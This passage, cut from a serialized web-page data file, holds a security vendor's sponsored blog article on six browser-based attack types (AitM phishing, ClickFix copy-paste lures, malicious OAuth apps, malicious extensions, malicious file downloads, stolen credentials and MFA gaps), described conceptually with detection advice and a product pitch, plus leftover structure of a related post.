attacks",{"data":26448,"marks":26449,"value":17620,"nodeType":865},{},[],{"data":26451,"content":26455,"nodeType":921},{"target":26452},{"sys":26453},{"id":26454,"type":918,"linkType":919},"2sOFEdAwQZjWOGzNAlGavb",[],{"data":26457,"content":26458,"nodeType":866},{},[26459],{"data":26460,"marks":26461,"value":26462,"nodeType":865},{},[],"There are other key differences to be aware of too. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques. The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":26464,"content":26465,"nodeType":866},{},[26466],{"data":26467,"marks":26468,"value":24158,"nodeType":865},{},[],{"data":26470,"content":26471,"nodeType":866},{},[26472],{"data":26473,"marks":26474,"value":26475,"nodeType":865},{},[],"These changes make phishing more effective than ever, and increasingly difficult to detect and block without being able to observe and analyze web pages that a user interacts with in real time — something only possible with browser-level visibility. ",{"data":26477,"content":26480,"nodeType":921},{"target":26478},{"sys":26479},{"id":25307,"type":918,"linkType":919},[],{"data":26482,"content":26483,"nodeType":944},{},[],{"data":26485,"content":26486,"nodeType":1229},{},[26487],{"data":26488,"marks":26489,"value":26491,"nodeType":865},{},[26490],{"type":935},"2. Malicious copy and paste (aka. ClickFix, FileFix, etc.)",{"data":26493,"content":26494,"nodeType":866},{},[26495,26498,26505],{"data":26496,"marks":26497,"value":23887,"nodeType":865},{},[],{"data":26499,"content":26500,"nodeType":889},{"uri":23890},[26501],{"data":26502,"marks":26503,"value":315,"nodeType":865},{},[26504],{"type":1191},{"data":26506,"marks":26507,"value":3017,"nodeType":865},{},[],{"data":26509,"content":26510,"nodeType":866},{},[26511],{"data":26512,"marks":26513,"value":26514,"nodeType":865},{},[],"Originally known as “Fake CAPTCHA”, these attacks attempt to trick users into running malicious commands on their device — typically by solving some form of verification challenge in the browser. ",{"data":26516,"content":26517,"nodeType":866},{},[26518,26522,26529,26533,26542],{"data":26519,"marks":26520,"value":26521,"nodeType":865},{},[],"In reality, by solving the challenge, the victim is actually copying malicious code from the page clipboard and running it on their device. It typically gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell. Variants such as ",{"data":26523,"content":26524,"nodeType":889},{"uri":24051},[26525],{"data":26526,"marks":26527,"value":24057,"nodeType":865},{},[26528],{"type":1191},{"data":26530,"marks":26531,"value":26532,"nodeType":865},{},[]," have also emerged which instead uses the File Explorer Address Bar to execute OS commands, while recent examples have seen this attack branch out to ",{"data":26534,"content":26536,"nodeType":889},{"uri":26535},"https://www.bleepingcomputer.com/news/security/fake-mac-fixes-trick-users-into-installing-new-shamos-infostealer/",[26537],{"data":26538,"marks":26539,"value":26541,"nodeType":865},{},[26540],{"type":1191},"Mac via the macOS terminal",{"data":26543,"marks":26544,"value":1066,"nodeType":865},{},[],{"data":26546,"content":26547,"nodeType":866},{},[26548],{"data":26549,"marks":26550,"value":26551,"nodeType":865},{},[],"Most commonly, these attacks are used to deliver infostealer malware, using stolen session cookies and credentials to access business apps and services. ",{"data":26553,"content":26554,"nodeType":866},{},[26555],{"data":26556,"marks":26557,"value":26558,"nodeType":865},{},[],"Like modern credential and session phishing, links to malicious pages are distributed over various delivery channels and using a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. ",{"data":26560,"content":26564,"nodeType":921},{"target":26561},{"sys":26562},{"id":26563,"type":918,"linkType":919},"6O9YiOfhpGFCDsTil9F3On",[],{"data":26566,"content":26567,"nodeType":866},{},[26568],{"data":26569,"marks":26570,"value":26571,"nodeType":865},{},[],"The variance in lure, and differences between different versions of the same lure, can make it difficult to fingerprint and detect based on visual elements alone. Also, many of the same protections being used to obfuscate and prevent analysis of phishing pages also apply to ClickFix pages, making it equally challenging to detect and block them. ",{"data":26573,"content":26574,"nodeType":866},{},[26575],{"data":26576,"marks":26577,"value":26578,"nodeType":865},{},[],"This leaves most of the detection and blocking down to endpoint-layer controls around user-level code execution and malware running on a device. The quantity of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":26580,"content":26581,"nodeType":866},{},[26582],{"data":26583,"marks":26584,"value":26585,"nodeType":865},{},[],"There is a significant opportunity to detect these attacks in the browser and stop them at the earliest opportunity, before they reach the endpoint. Every ClickFix attack and variant has a key action in common — malicious code is copied from the page’s clipboard. In some cases, this happens without any user interaction (where the only requirement on the user is to run code that has been silently copied behind the scenes), presenting a strong indicator of malicious behavior that can be observed in the browser. ",{"data":26587,"content":26588,"nodeType":944},{},[],{"data":26590,"content":26591,"nodeType":1229},{},[26592],{"data":26593,"marks":26594,"value":26596,"nodeType":865},{},[26595],{"type":935},"3. Malicious OAuth integrations",{"data":26598,"content":26599,"nodeType":866},{},[26600,26604,26610],{"data":26601,"marks":26602,"value":26603,"nodeType":865},{},[],"Malicious OAuth integrations are another way for attackers to compromise an app by tricking a user into authorizing an integration with a malicious, attacker-controlled app, with the level of data access and functionality dictated by the scopes authorized in the request. This is also known as ",{"data":26605,"content":26606,"nodeType":889},{"uri":22601},[26607],{"data":26608,"marks":26609,"value":22607,"nodeType":865},{},[],{"data":26611,"marks":26612,"value":4835,"nodeType":865},{},[],{"data":26614,"content":26618,"nodeType":921},{"target":26615},{"sys":26616},{"id":26617,"type":918,"linkType":919},"5JaP4WSfFsFSbvaa9BQBOq",[],{"data":26620,"content":26621,"nodeType":866},{},[26622],{"data":26623,"marks":26624,"value":26625,"nodeType":865},{},[],"This is an effective way for attackers to bypass hardened authentication and access controls by sidestepping the typical login process to take over an account and compromise business apps. This includes phishing-resistant MFA methods like passkeys — since the standard login process does not apply. ",{"data":26627,"content":26628,"nodeType":866},{},[26629],{"data":26630,"marks":26631,"value":26632,"nodeType":865},{},[],"A variant of this attack has dominated the headlines recently with the ongoing Salesforce breaches. In this scenario, the attacker tricked the victim into authorizing an attacker-controlled OAuth app via the device code authorization flow in Salesforce, which requires the user to enter an 8-digit code in place of a password or MFA factor.",{"data":26634,"content":26638,"nodeType":921},{"target":26635},{"sys":26636},{"id":26637,"type":918,"linkType":919},"3odEFcUcpKN553gHh2P5yr",[],{"data":26640,"content":26641,"nodeType":866},{},[26642],{"data":26643,"marks":26644,"value":26645,"nodeType":865},{},[],"Preventing malicious OAuth grants being authorized requires tight in-app management of user permissions and tenant security settings. This is no mean feat when considering the 100s of apps in use across the modern enterprise, many of which are not centrally managed by IT and security teams (or in some cases, are completely unknown to them). Even then, you’re limited by the controls made available by the app vendor. In this case, Salesforce has announced planned changes to OAuth app authorization in order to improve security prompted by these attacks — but many more apps with insecure configs exist for attackers to take advantage of in future. ",{"data":26647,"content":26648,"nodeType":866},{},[26649],{"data":26650,"marks":26651,"value":26652,"nodeType":865},{},[],"However, unlike app-specific integrations, browser-based security tools are well positioned to observe OAuth grants across all apps accessed in the browser — even the ones the security team doesn’t manage or know about, or without needing to pay for the app’s special security add-on to get visibility.",{"data":26654,"content":26655,"nodeType":944},{},[],{"data":26657,"content":26658,"nodeType":1229},{},[26659],{"data":26660,"marks":26661,"value":26663,"nodeType":865},{},[26662],{"type":935},"4. Malicious browser extensions",{"data":26665,"content":26666,"nodeType":866},{},[26667],{"data":26668,"marks":26669,"value":26670,"nodeType":865},{},[],"Malicious browser extensions are another way for attackers to compromise your business apps by observing and capturing logins as they happen, and/or extracting session cookies and credentials saved in the browser cache and password manager. ",{"data":26672,"content":26673,"nodeType":866},{},[26674,26678,26687],{"data":26675,"marks":26676,"value":26677,"nodeType":865},{},[],"Attackers do this by creating their own malicious extension and tricking your users into installing it, or taking over an existing extension to gain access to browsers where it is already installed (",{"data":26679,"content":26681,"nodeType":889},{"uri":26680},"https://secureannex.com/blog/buying-browser-extensions/",[26682],{"data":26683,"marks":26684,"value":26686,"nodeType":865},{},[26685],{"type":1191},"it’s very easy for attackers to buy and add malicious updates to existing extensions",{"data":26688,"marks":26689,"value":26690,"nodeType":865},{},[],", easily passing extension web store security checks). ",{"data":26692,"content":26693,"nodeType":866},{},[26694,26698,26707,26711,26720,26723,26732],{"data":26695,"marks":26696,"value":26697,"nodeType":865},{},[],"The news around extension-based compromises has been on the rise since the ",{"data":26699,"content":26701,"nodeType":889},{"uri":26700},"https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/",[26702],{"data":26703,"marks":26704,"value":26706,"nodeType":865},{},[26705],{"type":1191},"Cyberhaven extension",{"data":26708,"marks":26709,"value":26710,"nodeType":865},{},[]," was hacked in December 2024, along with at least 35 other extensions. Since then, there has been regular reporting on data-stealing extensions ",{"data":26712,"content":26714,"nodeType":889},{"uri":26713},"https://www.bleepingcomputer.com/news/security/data-stealing-chrome-extensions-impersonate-fortinet-youtube-vpns/",[26715],{"data":26716,"marks":26717,"value":26719,"nodeType":865},{},[26718],{"type":1191},"impersonating legitimate brands",{"data":26721,"marks":26722,"value":6593,"nodeType":865},{},[],{"data":26724,"content":26726,"nodeType":889},{"uri":26725},"https://www.bleepingcomputer.com/news/security/chrome-extensions-with-6-million-installs-have-hidden-tracking-code/",[26727],{"data":26728,"marks":26729,"value":26731,"nodeType":865},{},[26730],{"type":1191},"impacting millions of users",{"data":26733,"marks":26734,"value":1066,"nodeType":865},{},[],{"data":26736,"content":26737,"nodeType":866},{},[26738],{"data":26739,"marks":26740,"value":26741,"nodeType":865},{},[],"Risky browser extension permissions include broad data access, the ability to modify website content, track user activity, capture screenshots, and manage tabs or network requests. Permissions like \"read and change all data on all websites\" or access to cookies and browsing history are particularly dangerous as they can be exploited for session hijacking, data theft, malware injection, or phishing.",{"data":26743,"content":26744,"nodeType":866},{},[26745],{"data":26746,"marks":26747,"value":26748,"nodeType":865},{},[],"Generally, your employees should not be randomly installing browser extensions unless pre-approved by your security team. The reality, however, is that many organizations have very little visibility of the extensions their employees are using, and the potential risk they’re exposed to as a result. ",{"data":26750,"content":26751,"nodeType":866},{},[26752],{"data":26753,"marks":26754,"value":26755,"nodeType":865},{},[],"To tackle malicious extensions, security tools operating in the browser can track the browser extensions deployed, highlight risky permissions, compare with known-malicious extensions, identify fraudulent/unofficial versions of a legitimate extension, and highlight other risky properties commonly associated with malicious extensions (e.g. “Developer” extensions). ",{"data":26757,"content":26758,"nodeType":944},{},[],{"data":26760,"content":26761,"nodeType":1229},{},[26762],{"data":26763,"marks":26764,"value":26766,"nodeType":865},{},[26765],{"type":935},"5. Malicious file delivery",{"data":26768,"content":26769,"nodeType":866},{},[26770],{"data":26771,"marks":26772,"value":26773,"nodeType":865},{},[],"Malicious files have been a core part of malware delivery and credential theft for many years. Just as non-email channels like malvertising and drive-by attacks are used to deliver phishing and ClickFix lures, malicious files are also distributed through similar means — leaving malicious file detection to basic known-bad checks, sandbox analysis using a proxy (not that useful in the context of sandbox-aware malware) or runtime analysis on the endpoint. ",{"data":26775,"content":26776,"nodeType":866},{},[26777],{"data":26778,"marks":26779,"value":26780,"nodeType":865},{},[],"This doesn’t just have to be malicious executables directly dropping malware onto the device. File downloads can also contain additional links taking the user to malicious content. In fact, one of the most common types of downloadable content are HTML Applications (HTAs), commonly used to spawn local phishing pages to stealthily capture credentials. More recently, attackers have been weaponizing SVG files for a similar purpose, running as self-contained phishing pages that render fake login portals entirely client-side. ",{"data":26782,"content":26783,"nodeType":866},{},[26784],{"data":26785,"marks":26786,"value":26787,"nodeType":865},{},[],"Even if malicious content cannot always be flagged from surface-level inspection of a file, recording file downloads in the browser is a useful addition to endpoint-based malware protection, and provides another layer of defense against file downloads that perform client-side attacks, or redirect the user to malicious web-based content. ",{"data":26789,"content":26790,"nodeType":944},{},[],{"data":26792,"content":26793,"nodeType":1229},{},[26794],{"data":26795,"marks":26796,"value":26798,"nodeType":865},{},[26797],{"type":935},"6. Stolen credentials and MFA gaps",{"data":26800,"content":26801,"nodeType":866},{},[26802],{"data":26803,"marks":26804,"value":26805,"nodeType":865},{},[],"This last one isn’t so much a browser-based attack, but it is a product of them. When credentials are stolen through phishing or infostealer malware they can be used to take over accounts missing MFA. ",{"data":26807,"content":26808,"nodeType":866},{},[26809,26813,26820,26824,26833],{"data":26810,"marks":26811,"value":26812,"nodeType":865},{},[],"This isn’t the most sophisticated attack, but it’s very effective. You need only look at last year’s ",{"data":26814,"content":26815,"nodeType":889},{"uri":26327},[26816],{"data":26817,"marks":26818,"value":26333,"nodeType":865},{},[26819],{"type":1191},{"data":26821,"marks":26822,"value":26823,"nodeType":865},{},[]," account compromises or the ",{"data":26825,"content":26827,"nodeType":889},{"uri":26826},"https://pushsecurity.com/blog/why-attackers-are-targeting-jira-with-stolen-credentials?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[26828],{"data":26829,"marks":26830,"value":26832,"nodeType":865},{},[26831],{"type":1191},"Jira",{"data":26834,"marks":26835,"value":26836,"nodeType":865},{},[]," attacks earlier this year to see how attackers harness stolen credentials at scale. ",{"data":26838,"content":26839,"nodeType":866},{},[26840,26844,26853],{"data":26841,"marks":26842,"value":26843,"nodeType":865},{},[],"With the modern enterprise using hundreds of apps, the likelihood that an app hasn’t been configured for mandatory MFA (if possible) is high. And even when an app has been configured for SSO and connected to your primary corporate identity, ",{"data":26845,"content":26847,"nodeType":889},{"uri":26846},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=sidebar",[26848],{"data":26849,"marks":26850,"value":26852,"nodeType":865},{},[26851],{"type":1191},"local “ghost logins” can continue to exist",{"data":26854,"marks":26855,"value":26856,"nodeType":865},{},[],", accepting passwords with no MFA required. Just having visibility of your primary Identity Provider accounts (e.g. Google, Microsoft, Okta) and SSO-connected apps doesn't give you a full picture of your identity surface.",{"data":26858,"content":26859,"nodeType":866},{},[26860],{"data":26861,"marks":26862,"value":26863,"nodeType":865},{},[],"Logins can also be observed in the browser — in fact, it’s as close to a universal source of truth as you’re going to get about how your employees are actually logging in, which apps they’re using, and whether MFA is present, enabling security teams to find and fix vulnerable logins before they can be exploited by attackers. ",{"data":26865,"content":26866,"nodeType":944},{},[],{"data":26868,"content":26869,"nodeType":953},{},[26870],{"data":26871,"marks":26872,"value":26874,"nodeType":865},{},[26873],{"type":935},"Conclusion",{"data":26876,"content":26877,"nodeType":866},{},[26878],{"data":26879,"marks":26880,"value":26881,"nodeType":865},{},[],"Attacks are increasingly happening in the browser. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams. ",{"data":26883,"content":26884,"nodeType":866},{},[26885],{"data":26886,"marks":26887,"value":26888,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":26890,"content":26891,"nodeType":866},{},[26892,26896,26904],{"data":26893,"marks":26894,"value":26895,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and stop attacks in the browser, ",{"data":26897,"content":26899,"nodeType":889},{"uri":26898},"https://pushsecurity.com/demo?utm_source=bleeping-computer&utm_medium=sponsored-content&utm_term=article",[26900],{"data":26901,"marks":26902,"value":3223,"nodeType":865},{},[26903],{"type":1191},{"data":26905,"marks":26906,"value":1066,"nodeType":865},{},[],"6 browser-based attacks every security team should be prepared for","What security teams need to know about the browser-based attack techniques that are the leading cause of breaches.","2025-09-05T00:00:00.000Z","6-browser-based-attacks-every-security-team-should-be-prepared-for",{"items":26912},[26913,26915],{"sys":26914,"name":2663},{"id":2662},{"sys":26916,"name":342},{"id":2666},{"items":26918},[26919],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":26920},{"url":2674},"blog/the-most-advanced-clickfix-yet",{"json":26923},{"data":26924,"content":26925,"nodeType":1663},{},[26926],{"data":26927,"content":26928,"nodeType":866},{},[26929],{"data":26930,"marks":26931,"value":23862,"nodeType":865},{},[],{"id":23284,"publishedAt":26933},"2026-08-12T11:53:36.977Z",{"items":26935},[26936,26938],{"sys":26937,"name":342},{"id":2666},{"sys":26939,"name":2663},{"id":2662},{"items":26941},[26942,26944,26946,26948,26950,26952,26954,26956,26958,26960,26962,26964,26966],{"sys":26943,"name":279,"slug":280,"tier":31},{"id":276},{"sys":26945,"name":519,"slug":520,"tier":31},{"id":516},{"sys":26947,"name":342,"slug":343,"tier":31},{"id":339},{"sys":26949,"name":642,"slug":643,"tier":31},{"id":639},{"sys":26951,"name":315,"slug":316,"tier":45},{"id":312},{"sys":26953,"name":440,"slug":441,"tier":45},{"id":437},{"sys":26955,"name":475,"slug":476,"tier":45},{"id":472},{"sys":26957,"name":607,"slug":608,"tier":45},{"id":604},{"sys":26959,"name":448,"slug":449,"tier":45},{"id":445},{"sys":26961,"name":422,"slug":423,"tier":45},{"id":419},{"sys":26963,"name":563,"slug":564,"tier":45},{"id":560},{"sys":26965,"name":351,"slug":352,"tier":45},{"id":348},{"sys":26967,"name":377,"slug":378,"tier":45},{"id":374},"a1jszNvRBWsjUMRu9Ko6-JrZIirWNf1_NCdmXg2F2qU",{"id":26970,"title":20558,"authorsCollection":26971,"content":26976,"extension":228,"faqItemsCollection":27567,"faqTitle":59,"featured":6,"hashTags":59,"meta":27569,"metaTitle":27570,"ogImage":59,"postType":27571,"publishedDate":24498,"relatedBlogPostsCollection":27572,"slug":20559,"stem":29077,"subtitle":29078,"summary":29079,"synopsis":24497,"sys":29090,"tagsCollection":29092,"topicsCollection":29098,"__hash__":29128},"blog/blog/introducing-malicious-copy-paste-detection.json",{"items":26972},[26973],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":26974,"profilePicture":26975},[14260],{"url":2674},{"json":26977,"links":27511},{"data":26978,"content":26979,"nodeType":1663},{},[26980,27016,27062,27075,27080,27086,27089,27096,27102,27108,27114,27130,27136,27141,27156,27161,27164,27171,27177,27184,27200,27206,27212,27218,27225,27231,27237,27242,27248,27278,27283,27290,27306,27312,27333,27339,27345,27350,27356,27359,27366,27379,27395,27401,27407,27413,27418,27425,27440,27443,27450,27456,27462,27468,27474,27500,27505],{"data":26981,"content":26982,"nodeType":866},{},[26983,26986,26993,26996,27003,27006,27013],{"data":26984,"marks":26985,"value":23887,"nodeType":865},{},[],{"data":26987,"content":26988,"nodeType":889},{"uri":23890},[26989],{"data":26990,"marks":26991,"value":315,"nodeType":865},{},[26992],{"type":1191},{"data":26994,"marks":26995,"value":23899,"nodeType":865},{},[],{"data":26997,"content":26998,"nodeType":889},{"uri":23902},[26999],{"data":27000,"marks":27001,"value":23908,"nodeType":865},{},[27002],{"type":1191},{"data":27004,"marks":27005,"value":23912,"nodeType":865},{},[],{"data":27007,"content":27008,"nodeType":889},{"uri":23915},[27009],{"data":27010,"marks":27011,"value":23921,"nodeType":865},{},[27012],{"type":1191},{"data":27014,"marks":27015,"value":23925,"nodeType":865},{},[],{"data":27017,"content":27018,"nodeType":866},{},[27019,27022,27029,27032,27039,27042,27049,27052,27059],{"data":27020,"marks":27021,"value":23932,"nodeType":865},{},[],{"data":27023,"content":27024,"nodeType":889},{"uri":23935},[27025],{"data":27026,"marks":27027,"value":23941,"nodeType":865},{},[27028],{"type":1191},{"data":27030,"marks":27031,"value":3202,"nodeType":865},{},[],{"data":27033,"content":27034,"nodeType":889},{"uri":23947},[27035],{"data":27036,"marks":27037,"value":23953,"nodeType":865},{},[27038],{"type":1191},{"data":27040,"marks":27041,"value":3202,"nodeType":865},{},[],{"data":27043,"content":27044,"nodeType":889},{"uri":23959},[27045],{"data":27046,"marks":27047,"value":23965,"nodeType":865},{},[27048],{"type":1191},{"data":27050,"marks":27051,"value":23969,"nodeType":865},{},[],{"data":27053,"content":27054,"nodeType":889},{"uri":23972},[27055],{"data":27056,"marks":27057,"value":23978,"nodeType":865},{},[27058],{"type":1191},{"data":27060,"marks":27061,"value":23982,"nodeType":865},{},[],{"data":27063,"content":27064,"nodeType":866},{},[27065,27068,27072],{"data":27066,"marks":27067,"value":23989,"nodeType":865},{},[],{"data":27069,"marks":27070,"value":23769,"nodeType":865},{},[27071],{"type":935},{"data":27073,"marks":27074,"value":23997,"nodeType":865},{},[],{"data":27076,"content":27079,"nodeType":921},{"target":27077},{"sys":27078},{"id":23792,"type":918,"linkType":919},[],{"data":27081,"content":27082,"nodeType":866},{},[27083],{"data":27084,"marks":27085,"value":24009,"nodeType":865},{},[],{"data":27087,"content":27088,"nodeType":944},{},[],{"data":27090,"content":27091,"nodeType":953},{},[27092],{"data":27093,"marks":27094,"value":24020,"nodeType":865},{},[27095],{"type":935},{"data":27097,"content":27098,"nodeType":866},{},[27099],{"data":27100,"marks":27101,"value":24027,"nodeType":865},{},[],{"data":27103,"content":27104,"nodeType":866},{},[27105],{"data":27106,"marks":27107,"value":24034,"nodeType":865},{},[],{"data":27109,"content":27110,"nodeType":866},{},[27111],{"data":27112,"marks":27113,"value":24041,"nodeType":865},{},[],{"data":27115,"content":27116,"nodeType":866},{},[27117,27120,27127],{"data":27118,"marks":27119,"value":24048,"nodeType":865},{},[],{"data":27121,"content":27122,"nodeType":889},{"uri":24051},[27123],{"data":27124,"marks":27125,"value":24057,"nodeType":865},{},[27126],{"type":1191},{"data":27128,"marks":27129,"value":24061,"nodeType":865},{},[],{"data":27131,"content":27132,"nodeType":866},{},[27133],{"data":27134,"marks":27135,"value":24068,"nodeType":865},{},[],{"data":27137,"content":27140,"nodeType":921},{"target":27138},{"sys":27139},{"id":24073,"type":918,"linkType":919},[],{"data":27142,"content":27143,"nodeType":866},{},[27144,27147,27153],{"data":27145,"marks":27146,"value":24081,"nodeType":865},{},[],{"data":27148,"content":27149,"nodeType":889},{"uri":23545},[27150],{"data":27151,"marks":27152,"value":24088,"nodeType":865},{},[],{"data":27154,"marks":27155,"value":24092,"nodeType":865},{},[],{"data":27157,"content":27160,"nodeType":921},{"target":27158},{"sys":27159},{"id":24097,"type":918,"linkType":919},[],{"data":27162,"content":27163,"nodeType":944},{},[],{"data":27165,"content":27166,"nodeType":953},{},[27167],{"data":27168,"marks":27169,"value":24109,"nodeType":865},{},[27170],{"type":935},{"data":27172,"content":27173,"nodeType":866},{},[27174],{"data":27175,"marks":27176,"value":24116,"nodeType":865},{},[],{"data":27178,"content":27179,"nodeType":1229},{},[27180],{"data":27181,"marks":27182,"value":24124,"nodeType":865},{},[27183],{"type":935},{"data":27185,"content":27186,"nodeType":866},{},[27187,27190,27197],{"data":27188,"marks":27189,"value":24131,"nodeType":865},{},[],{"data":27191,"content":27192,"nodeType":889},{"uri":24134},[27193],{"data":27194,"marks":27195,"value":24140,"nodeType":865},{},[27196],{"type":1191},{"data":27198,"marks":27199,"value":24144,"nodeType":865},{},[],{"data":27201,"content":27202,"nodeType":866},{},[27203],{"data":27204,"marks":27205,"value":24151,"nodeType":865},{},[],{"data":27207,"content":27208,"nodeType":866},{},[27209],{"data":27210,"marks":27211,"value":24158,"nodeType":865},{},[],{"data":27213,"content":27214,"nodeType":866},{},[27215],{"data":27216,"marks":27217,"value":24165,"nodeType":865},{},[],{"data":27219,"content":27220,"nodeType":1229},{},[27221],{"data":27222,"marks":27223,"value":24173,"nodeType":865},{},[27224],{"type":935},{"data":27226,"content":27227,"nodeType":866},{},[27228],{"data":27229,"marks":27230,"value":24180,"nodeType":865},{},[],{"data":27232,"content":27233,"nodeType":866},{},[27234],{"data":27235,"marks":27236,"value":24187,"nodeType":865},{},[],{"data":27238,"content":27241,"nodeType":921},{"target":27239},{"sys":27240},{"id":24192,"type":918,"linkType":919},[],{"data":27243,"content":27244,"nodeType":866},{},[27245],{"data":27246,"marks":27247,"value":24200,"nodeType":865},{},[],{"data":27249,"content":27250,"nodeType":2374},{},[27251,27260,27269],{"data":27252,"content":27253,"nodeType":2309},{},[27254],{"data":27255,"content":27256,"nodeType":866},{},[27257],{"data":27258,"marks":27259,"value":24213,"nodeType":865},{},[],{"data":27261,"content":27262,"nodeType":2309},{},[27263],{"data":27264,"content":27265,"nodeType":866},{},[27266],{"data":27267,"marks":27268,"value":24223,"nodeType":865},{},[],{"data":27270,"content":27271,"nodeType":2309},{},[27272],{"data":27273,"content":27274,"nodeType":866},{},[27275],{"data":27276,"marks":27277,"value":24233,"nodeType":865},{},[],{"data":27279,"content":27282,"nodeType":921},{"target":27280},{"sys":27281},{"id":24238,"type":918,"linkType":919},[],{"data":27284,"content":27285,"nodeType":1229},{},[27286],{"data":27287,"marks":27288,"value":24247,"nodeType":865},{},[27289],{"type":935},{"data":27291,"content":27292,"nodeType":866},{},[27293,27296,27303],{"data":27294,"marks":27295,"value":24254,"nodeType":865},{},[],{"data":27297,"content":27298,"nodeType":889},{"uri":23890},[27299],{"data":27300,"marks":27301,"value":24262,"nodeType":865},{},[27302],{"type":1191},{"data":27304,"marks":27305,"value":24266,"nodeType":865},{},[],{"data":27307,"content":27308,"nodeType":866},{},[27309],{"data":27310,"marks":27311,"value":24273,"nodeType":865},{},[],{"data":27313,"content":27314,"nodeType":2374},{},[27315,27324],{"data":27316,"content":27317,"nodeType":2309},{},[27318],{"data":27319,"content":27320,"nodeType":866},{},[27321],{"data":27322,"marks":27323,"value":24286,"nodeType":865},{},[],{"data":27325,"content":27326,"nodeType":2309},{},[27327],{"data":27328,"content":27329,"nodeType":866},{},[27330],{"data":27331,"marks":27332,"value":24296,"nodeType":865},{},[],{"data":27334,"content":27335,"nodeType":866},{},[27336],{"data":27337,"marks":27338,"value":24303,"nodeType":865},{},[],{"data":27340,"content":27341,"nodeType":866},{},[27342],{"data":27343,"marks":27344,"value":24310,"nodeType":865},{},[],{"data":27346,"content":27349,"nodeType":921},{"target":27347},{"sys":27348},{"id":24315,"type":918,"linkType":919},[],{"data":27351,"content":27352,"nodeType":866},{},[27353],{"data":27354,"marks":27355,"value":24323,"nodeType":865},{},[],{"data":27357,"content":27358,"nodeType":944},{},[],{"data":27360,"content":27361,"nodeType":953},{},[27362],{"data":27363,"marks":27364,"value":24334,"nodeType":865},{},[27365],{"type":935},{"data":27367,"content":27368,"nodeType":866},{},[27369,27372,27376],{"data":27370,"marks":27371,"value":23989,"nodeType":865},{},[],{"data":27373,"marks":27374,"value":23769,"nodeType":865},{},[27375],{"type":935},{"data":27377,"marks":27378,"value":24348,"nodeType":865},{},[],{"data":27380,"content":27381,"nodeType":866},{},[27382,27385,27392],{"data":27383,"marks":27384,"value":24355,"nodeType":865},{},[],{"data":27386,"content":27387,"nodeType":889},{"uri":24358},[27388],{"data":27389,"marks":27390,"value":24364,"nodeType":865},{},[27391],{"type":1191},{"data":27393,"marks":27394,"value":24368,"nodeType":865},{},[],{"data":27396,"content":27397,"nodeType":866},{},[27398],{"data":27399,"marks":27400,"value":24375,"nodeType":865},{},[],{"data":27402,"content":27403,"nodeType":866},{},[27404],{"data":27405,"marks":27406,"value":24382,"nodeType":865},{},[],{"data":27408,"content":27409,"nodeType":866},{},[27410],{"data":27411,"marks":27412,"value":24389,"nodeType":865},{},[],{"data":27414,"content":27417,"nodeType":921},{"target":27415},{"sys":27416},{"id":23792,"type":918,"linkType":919},[],{"data":27419,"content":27420,"nodeType":1229},{},[27421],{"data":27422,"marks":27423,"value":24402,"nodeType":865},{},[27424],{"type":935},{"data":27426,"content":27427,"nodeType":866},{},[27428,27431,27437],{"data":27429,"marks":27430,"value":24409,"nodeType":865},{},[],{"data":27432,"content":27433,"nodeType":889},{"uri":24412},[27434],{"data":27435,"marks":27436,"value":24417,"nodeType":865},{},[],{"data":27438,"marks":27439,"value":24421,"nodeType":865},{},[],{"data":27441,"content":27442,"nodeType":944},{},[],{"data":27444,"content":27445,"nodeType":953},{},[27446],{"data":27447,"marks":27448,"value":5589,"nodeType":865},{},[27449],{"type":935},{"data":27451,"content":27452,"nodeType":866},{},[27453],{"data":27454,"marks":27455,"value":24438,"nodeType":865},{},[],{"data":27457,"content":27458,"nodeType":866},{},[27459],{"data":27460,"marks":27461,"value":24445,"nodeType":865},{},[],{"data":27463,"content":27464,"nodeType":866},{},[27465],{"data":27466,"marks":27467,"value":24452,"nodeType":865},{},[],{"data":27469,"content":27470,"nodeType":866},{},[27471],{"data":27472,"marks":27473,"value":24459,"nodeType":865},{},[],{"data":27475,"content":27476,"nodeType":866},{},[27477,27480,27487,27490,27497],{"data":27478,"marks":27479,"value":9255,"nodeType":865},{},[],{"data":27481,"content":27482,"nodeType":889},{"uri":3192},[27483],{"data":27484,"marks":27485,"value":3198,"nodeType":865},{},[27486],{"type":1191},{"data":27488,"marks":27489,"value":19268,"nodeType":865},{},[],{"data":27491,"content":27492,"nodeType":889},{"uri":2644},[27493],{"data":27494,"marks":27495,"value":3223,"nodeType":865},{},[27496],{"type":1191},{"data":27498,"marks":27499,"value":1066,"nodeType":865},{},[],{"data":27501,"content":27504,"nodeType":921},{"target":27502},{"sys":27503},{"id":24238,"type":918,"linkType":919},[],{"data":27506,"content":27507,"nodeType":866},{},[27508],{"data":27509,"marks":27510,"value":21,"nodeType":865},{},[],{"entries":27512},{"hyperlink":27513,"inline":27514,"block":27515},[],[],[27516,27518,27522,27528,27555,27561],{"sys":27517,"__typename":19827,"title":25132,"arcadeDemoUrl":25133,"playText":19830},{"id":23792},{"sys":27519,"__typename":1671,"title":27520,"caption":27520,"layoutMode":59,"file":27521},{"id":24073},"Phishing delivery channels have significantly expanded from the days of email-based phishing 